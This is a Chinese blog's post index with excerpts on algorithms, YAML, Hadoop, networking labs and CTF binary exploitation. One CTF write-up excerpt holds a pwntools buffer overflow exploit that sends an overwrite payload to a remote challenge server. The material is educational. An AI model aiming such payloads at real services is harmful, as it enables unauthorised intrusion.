- 博客(57)
- 收藏
- 关注
RSS订阅原创 实验6企业级网络构建与配置实现（师专特供RIP版）
实验6企业级网络构建与配置实现思路来源是这里不得不说这个哥们写的是相当nice！但是可能由于笔误敲错了一个命令。本文基于这位老哥的实验思路，将OSPF替换成RIP。(因为某师专的机器好像跑不了OSPF)拓扑图设备密码交换机密码默认登录名： admin默认密码： [email protected]进入后根据提示强制改密(输入y)[email protected]@...
2023-12-23 13:52:00
861
2
原创 Snowflake Snow Snowflakes[PKUOJ 3349]
这是一道蓝书上的哈希例题。相对简单。题面DescriptionYou may have heard that no two snowflakes are alike. Your task is to write a program to determine whether this is really true. Your program will read information abo...
2023-11-27 17:40:00
790
原创 Sumsets(UVA10125)整数集合
备课的时候发现了这道题，对于初识哈希来说并不算一道很简单的题。在查阅林厚从老师的示例代码与往届OI选手的博客后，大致理解了本题的思路。相关标签： Hash跳转至本题Description给定一个整数集合S，求一个最大的d，满足a+b+c=d，其中a,b,c,d∈SInput多组数据，每组数据包括：第一行一个整数n，代表元素个数下面n行每行一个整数，代表集合元素输入结束的标志...
2023-11-25 15:08:00
367
原创 YAML入门
YAML速记在Hydro OJ的时候，配置客观题遇到了此类文件格式。产生兴趣，简单学一下。学习参考视频：BV1yL4y1T7Pr什么是YAMLYAML Ain't Markup Language。 YAML不是一种标记语言。是一种可读性高，用以表达数据序列化的格式文件后缀通常为 .yaml 或 .ymlYAML的语法规则使用缩进表示层级关系，但各级缩进的空格数不重要使用#表示...
2023-08-05 16:22:00
13
原创 树状数组
树状数组简单记录一下模板和用法，不做深入证明探究！为什么不直接用前缀和对于普通的前缀和来说，若出现了单点修改，则需要重新生成一个前缀和数组。若单点修改次数过多，显然会产生恐怖的代价。能解决的问题：区间查询前缀和单点修改(某个值+一个数)是一个在 logN复杂度就能完成以上操作的数据结构。严格来说，能解决的问题是线段树的子集。树状数组能够解决的问题，线段树一定可以解决！但是树状...
2023-04-02 13:54:00
12
原创 春哥甲（Hadoop雷点记录）
“如果你也被春哥击倒，那么套上这个春哥甲吧！！！”这篇博客主要记录在学习Hadoop中遇到的各种雷点坑点！WordCountAndLen在这一节，我们开始尝试使用自定义的类型：WordCountAndLen去实现我们原有的WordCount问题！首先附上WordCountAndLen类的定义代码 1 /** 2 * Created by l1ngyi on 23-3-15. 3...
2023-03-23 20:44:00
13
原创 CTF_Pwn保护机制相关(动态更新）
保护机制及其编译选项NX-z execstack / -z noexecstack (关闭 / 开启) 不让执行栈上的数据，于是JMP ESP就不能用了即可写处不可执行，可执行处不可写Canary-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 栈里插入cookie信息又名...
2022-04-29 17:49:00
11
原创 Pwn_相关黑话/技术名词解释（动态更新）
Pwn知识性名词Linux相关延迟绑定技术ELF采用了当函数第一次使用时，才进行绑定。ELF实现延迟绑定是通过Plt，原先GOT中存放着全局变量和函数调用，现在把它拆分为各个部分。 .got 和.got.plt，用.got存放着全局变量的引用，用.got.plt存放函数的引用。基本可以解释为，只有在某个函数得到运行时，对应的plt got数据才正确绑定。动态链接程序装载时通过 动态...
2022-04-29 17:48:00
14
原创 Pwn_工具食用方法（动态更新）
Tools食用方法IDA空格可以调整视图F5进行一键反汇编双击变量可以看到变量地址或进入函数Ctrl+S 可以看到区段地址(如bss段、plt、got)对变量或函数按x可以查看上级调用可以在函数框Ctrl+F搜索函数名在变量右键可以Rename变量名，方便代码审计gdbgdb 程序名 打开程序pdisass/disassemble 反汇编 查看当前函数帧的...
2022-04-29 17:48:00
12
原创 Pwn_WP（动态更新）
题解/Write Up攻防世界level0#exp:from pwn import *r = remote("111.198.29.45", 34012)payload = 'A' * 0x88 + p64(0x00400596).decode("iso-8859-1")r.recvuntil("Hello, World\n")r.sendline(payload)r.inte...
2022-04-29 17:46:00
16
原创 CTF_Pwn常见漏洞（动态更新）
常见漏洞利用个人感觉来说，上来就啃CTFwiki是有点难度的。Dark不必整太严苛，可以先跟着exp自己试着理解，能理解套路之后再去CTFwiki上矫正一下知识概念。简单栈溢出(re2text)首先要知道：对x86，函数参数在函数返回地址上方对x64，函数参数依次保存在rdi,rsi,rdc,rcx,r8,r9里，还不够的话用栈存放。这个知识点在以后任意构造ROP链的时候都会用到！...
2022-04-29 17:45:00
11
原创 树上差分
本来是不打算写这个的，感觉不是一个大章节…然而看蓝书确实把我看懵逼了，想了一晚上都没想通原理。今天终于想明白了，所以整理一下。直接来找公式的话请直接翻加粗字体，忽略废话。定义前置知识点：序列前缀和，差分序列，LCA差分的用处以及原理迁移到树上进行转化。实现及原理《算法竞赛进阶指南》中引用了三道例题来解释原理以及用法。但有一说一，可能我是个傻子，愣是差点变成了背公式。先搬出来让我顿...
2019-11-10 20:23:00
12
原创 树链剖分（树剖）
毒瘤东西…然而某已逝联赛居然历年来搞了三道左右的树剖…唉~问题类型顾名思义属于图论的东西。基于数据结构：线段树操作1： 格式： 1 x y z 表示将树从x到y结点最短路径上所有节点的值都加上z操作2： 格式： 2 x y 表示求树从x到y结点最短路径上所有节点的值之和操作3： 格式： 3 x z 表示将以x为根节点的子树内所有节点值都加上z操作4： 格式： 4 x 表示求以x为根节...
2019-11-09 15:44:00
9
原创 LCA（最近公共祖先）问题
问题描述在一棵树中，如果某个节点z是节点x的祖先(即节点z深度<节点x)，也是y的祖先。那么称节点z是x与y的公共祖先。那顾名思义，所谓最近公共祖先，就是对于x和y来说距离之和最近的公共祖先。解法一：向上标记法除非你发了高烧啥都不会打，否则换方法从x节点向上走到根节点，把所有经过的节点标记。从y节点向上走，第一次遇到被标记过的节点的时候，该节点为所求点。每次询问，最坏复杂度为...
2019-11-08 18:57:00
10
原创 欧拉路径、欧拉回路与欧拉图（一笔画）
欧拉欧拉欧拉欧拉欧拉~~~~~定义由于不可知的原因，我在考场上又双叒叕挂了一个曾经学过的知识点。感觉凡是没整理过的知识点，基本都忘干净了呀！(？)欧拉路径(欧拉通路)：通过图中所有边的简单路。(换句话说，每条边都通过且仅通过一次)也叫”一笔画”问题。欧拉回路：闭合的欧拉路径。(即一个环，保证每条边都通过且仅通过一次)欧拉图：包含欧拉回路的图。特性存在于一个连通的图(块)。图中无...
2019-10-07 15:16:00
13
原创 输入输出流优化
众所周知，由于某些难以描述的原因，cin输入效率远远低于了scanf。所以，我们为了加速读入读出，找到了一些诡异的读入板子。此篇仅用作模板速用，不讨论其原理以及争议。关闭同步流针对cin的优化。速度大概能达到scanf级。 std::ios::sync_with_stdio(false); std::cin.tie(0);Read函数(短)这个弊端是对于整数貌似读...
2019-09-24 17:14:00
8
原创 最长不下降子序列Lis问题
复习代码速记用，不涉及原理。不可用于初学。定义是一种问题类型，隶属于动态规划。指一个序列中最长的单调递增的子序列(可以不连续)解法朴素(N2)每一次在他的前面找一个比他小的数，和他进行一次连接。取连接数量较大的值。#include <iostream>#include <cstdio>#include <algorithm>#include...
2019-09-17 21:08:00
13
原创 NKOI3747 Pets宠物
暂时没写关于拓补排序和不下降序列的专题…先把这道码量巨大的题写出来，免得忘了…Descriptionxxxxxyt学姐经常一个人在家，难免会感到寂寞，于是学姐养了n只可爱的宠物，比如皮皮虾、大蟒蛇、藏狐、安康鱼…但即便如此学姐还是感到无聊。突然有一天，学姐想到了让宠物们互相对战的消遣方法(请不要给动物保护协会打电话！)。学姐让宠物们两两进行对战，n*(n-1)/2场对战后，学姐得到了一张相生...
2019-09-16 00:14:00
11
原创 进阶算法——树形DP
特点(特别之处)DP这种东西…跟玄学一样…除非讲题，不然是真的没啥东西总结…通过少量局部不完全不具代表性的刷题得出…树形DP一般是在递归环境进行的，并且是先递到底树形DP的第一维状态往往是以i为节点的子树。题目中的ShowTime因为动态规划的恐怖之处…所以还是多通过题目感受吧…选课首先很容易看出来，这题的数据是二叉树。对于某一个非根节点来说，如果你想选择这个节点，那么就必...
2019-08-30 11:40:00
10
原创 状态压缩
定义状态压缩，实际上是将一个30左右长度的bool数组用一个int来表示。为什么呢？众所周知，bool类型只有0，1两种两种类型。而计算机又是用二进制来存储数字，加之强大的位运算功能，我们便可以更改整数在二进制下表示的每一位的数字，来表示不同的状态。由于其与位运算密切相关，所以我们先来讨论一下位运算的事情。位运算不做演示，可以自行演示验证S是原集合S&(1<<(k-...
2019-08-29 23:39:00
7
原创 基础算法-前缀和，差分
我也不知道为什么我不会的大多是基础算法…定义对于一维来说，前缀和与差分的处理较为简单。前缀和，即是某一数列中，第i号元素及其之前的全部元素之和。对于某数列A，其前缀和S的信息差分。即第i项与i-1项之差。给定一个数列A，它的差分数列B为由此可以看出，前缀和和差分是一对互逆运算。差分序列B的前缀和序列就是原序列A前缀和序列S的差分序列就是原序列A上面的性质非常之重要，稍后会在...
2019-08-26 17:31:00
7
原创 RMQ (Range Minimum/Maximum Query)
Range Minimum/Maximum Query别名S(Sparse)T(Table)表。直译稀疏表表这是个什么东西？可以理解为一种题型。用来求某个区间内的最大值或最小值，通常用在需要多次询问一些区间的最值的问题中。隶属于动规DP这主要针对于区间内最大值或最小值，不需要修改的题型。需要修改的话，请右转线段树。引题描述输入N个数和M次询问，每次询问一个区间[L,R],求第L个数...
2019-08-26 11:09:00
6
原创 数学浅谈-组合数与数学期望
组合数学定义实际上是 不可重复组合排列 。一般用C来表示。由于所用到的知识甚微，故不需要什么高深的解释。公式其意义是 从n中取r个，所有的情况数n！意味着阶乘。实现起来就是 ans=1*2*2*4*...*n数学期望定义何老板的PPT实在是太棒了，所以我决定引一张！！！也就是说，累加事件*概率所得到的结果，就是要求的数学期望！入门性应用数学期望能解决什么问题呢？...
2019-08-24 23:00:00
10
原创 重庆NK十日行-知识点汇总
Day1八月二十号Day1是迎面而来的一场考试。关于这场考试相关的题面与题解，收录在云端，暂不放出。这里只阐述一下知识点，以作备忘。首先是令人深刻记忆的考场知识：考试结束前五分钟，不要再进行代码查错、修改等操作。此时应当仔细检查文件输入输出，文件名与文件夹是否根据引导正确建立。一定要确认！并且在提交前进行一次简单编译。来得及的话可以随手过一下样例数据，确保所有用于调试的输出等已经被...
2019-08-24 22:09:00
6
原创 分块
----于8.14开坑，进度进行到掌握概念与代码实现，等待例题AC-----定义分块遵循大段维护，小段朴素的思想。有点类似于退化版的线段树，但是能完成一些线段树无法做到的操作，并且代码稍简单。引个例题来见证一下好了A simple Problem with Integers POJ3468题来虽然这道题我们已经用线段树解决过，现在我们退化到分块的求解方法。把数列A分成若干个长度不...
2019-08-14 02:27:00
5
原创 STL—algorithm与Map容器
水平有限，接触到的用法也比较少。这个博文就是我自己用来补充备忘好吧，就没有很具体的分析。慢慢补充，慢慢填坑。Algorithm这里有很多很多个厉害的函数，我们挑一些常用的做简单介绍sort用烂了，不简介。快速排序upper_bound/lower_bound二分查找。前者是查找第一个大于x的元素，返回一个指针后者是查找第一个大于等于x的元素，返回一个指针。用法：upper_bou...
2019-08-07 00:25:00
5
原创 搜索—迭代加深
概念定义深度优先搜索是选择一个分支，直到尽头才会开始回溯。但在遇到搜索树的每个节点的分支数目非常多，并且答案其实只是在很浅的节点上。那么如果在一开始深搜选错了分支，就很可能在不包含答案的深层子树上浪费大量的时间。那么此时，我们就可以使用迭代加深的思想，从小到大限制搜索的深度。如果在当前深度限制下搜索不到答案，那么就增加深度，重新进行一次搜索。虽然理论上重新搜索的代价似乎是挺不必要的，但是随...
2019-08-01 20:56:00
6
原创 技巧—对拍
前排警示------Warning-------这篇博文在没有注明的情况下，仅适用于windows环境下无Python的对拍。对拍是一项耗时的工程，其代码量可能会在正解代码的一倍甚至有余。因此，在进行对拍前，请确保以下工作已经完成编译测试样例手写几组小样例，包括特殊情况、极限和边界等暴力程序(它可以超时，但必须具有正确性)小黄鸭自查法注意：简单对拍适应于题目数据简单的题目。...
2019-07-31 21:59:00
4
原创 数据结构进阶——并查集
并查集居然是进阶数据结构…我一直觉得他是基础数据结构来着…(等下！它居然是数据结构！)这可能是所有进阶数据结构里最简单简短简洁的了。七月份的数据结构专题…那些所谓的可持久化点分治我都还没看…(后背一凉)。概念理论我个人认为，并查集这个东西，背起来比理解起来真的快多了…跟你扯一大堆没用的理论…还不如你背那么几行代码来的实在…走个形式。我们可以将并查集看做集合。初始的时候，每个元素各成一集...
2019-07-23 19:36:00
5
原创 基本数据结构——二叉堆
迅速补档，为A*做一下铺垫…概念定义二叉堆就是一个支持插入、删除、查询最值的数据结构。他其实是一棵完全二叉树。那么堆一般分为大根堆和小根堆大根堆树中的任意一个节点的权值都小于或者等于其父节点的权值，则称该二叉树满足大根堆性质。小根堆树中的任意一个节点的权值都大于或者等于其父节点的权值，则称该二叉树满足小根堆性质。习惯用法一般习惯把堆用数组保存。才用父子二倍的编号方式。即：对于某一...
2019-07-21 19:42:00
7
原创 搜索算法—A*
这东西，简直是被神化了一样。我从蓝书上查找了一些资料，以我的水平确实难以看懂他的表达。于是借助百度，发现大多数博客都在转载一篇似乎是翻译自国外的文章。写的很详细，但我在第一次阅读的时候并没有看懂，并且感觉专业性较高。比如其中又是OpenList又是CloseList的，初看确实有些头晕眼花。那么，在这里重新整理一下我理解A*的过程。概念理论这个算法似乎被广泛应用于游戏开发的寻路算法里。他是...
2019-07-21 15:29:00
535
原创 数据结构进阶——线段树
感觉我整理数据结构的速度永远跟不上考试的速度啊…那么！撰写日期是在7.17，在这一天的模拟赛的T2用到了线段树。虽然打出来了板子但是忘掉了一些东西。就趁着这个机会AK线段树吧！！----补于8.6因为知识体系的庞大，所以这篇博文里包含了朴素线段树、Lazy标记、区间修改、扫描线、动态开点与线段树合并。但动态开点于线段树合并由于彻底抛弃了某些常用概念。------于 2019 11/1...
2019-07-17 18:35:00
5
原创 基本数据结构—Hash哈希
理论概念这玩意一直都是个好东西，但是我总觉得玄学的一批。今天借着专题学习的劲头，把Hash好好梳理一下。定义/作用哈希这东西应该都不陌生。将复杂的信息映射到一个容易维护的值域之内。那么Hash函数就有点类似于一个映射关系。通过这个函数来产生一个关键值(Key)，通过关键值与值(value)的对应关系，制作一个对应表。即哈希表(Hash table)。他可以实现通过Key快速的查找Value...
2019-07-15 23:00:00
6
原创 NOIP2013提高组 day2 2019.7.15
T1 :积木大赛送分题，简单模拟一道贪心或者动态规划(如果你愿意的话)。反正我是不想搞所谓动态规划，贪心解之。#include<iostream>using namespace std;const int MAXN=100100;int n;int a[MAXN];int minn;int ans;int main(){ //freopen("bloc...
2019-07-15 16:17:00
6
原创 基本算法——归并排序
理论概念定义归并排序是基于分治法的排序方法，其时间复杂度为O(nlogn)原理没什么比一张Gif图片来解释排序算法更清爽了。所以我就从Python的教程网站上扒了一张233可以看到，归并排序，顾名思义。归，并。核心代码由于形式纷杂不好统一，这里仅列举一种展现方法。但其精髓仍是归与并的分治思想。void merge(int l,int r){ if(l>=r)...
2019-07-14 23:26:00
6
原创 基本数据结构—Trie
理论知识与功能定义Trie(字典树)，用于实现字符串的快速检索。其每个节点都含有若干个字符指针。例如我在字典树里插入"abc","ac"，那么就会生成一个这样丑陋的东西。好吧是我的图画的丑陋初始化一棵空的Trie仅包含一个根节点，那么他的指针自然也指向空。注：因为Trie运用在检索字符串，所以此处指针指代字符指针。插入对于需要插入的一个字符串S而言，我们令指针P指向根节点。然...
2019-07-14 18:59:00
9
原创 NOIP 2011 提高组 Day2 校模拟 7.11
数论只会GCD 模拟只会猜题意 贪心只能过样例！！！！！上午身体不适，基本上是强行趴在那写题。也不知道思路在哪个状态，看到T1第一想法居然连暴力都不是了。第一想法，居然是打表2333T1: 计算系数为什么我脑子里第一反应是打表…是的这是我用画图打的草稿(还有一部分打到草稿纸上了)然后我就写出来以下的天秀打表// if(a==b&&b==1){// ...
2019-07-11 19:27:00
6
原创 Noip2014提高组真题Day1,2 校模拟7.7
？？？？？这就是教练一天开两场模拟赛的原因吗？？？？？？尽管看到这个东西，我今天一天的模拟赛都格外格外格外的小(慌)心(张)，然而还是免不了翻了Day2的T1。翻车天注定，工地去打拼。Day 1T1:生活大爆炸版 石头剪刀布这题应该是被LuoGu放到普及组试炼场里了的吧？#include<iostream>using namespace std;int a[4...
2019-07-08 16:54:00
6
原创 NOIP2015 提高组 day1 7.8校模拟
今天这场打的很窝火…message.out，打漏了一个e，直接一把文件错误爆零。T3本来是想骗30分的，结果莫名也爆炸了。接受了莫名其妙的“有顺子先出顺子”的斗地主打法。被教育如何打斗地主可还行。炸弹拆了走顺子打法牛逼！我觉得肯定是有能Hack的数据的(笃定的眼神)A. 【NOIP2015 提高组 day1】神奇的幻方没什么好说的，跟着题目打代码。只要你会写代码，他就给你满分。#i...
2019-07-08 16:43:00
4
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人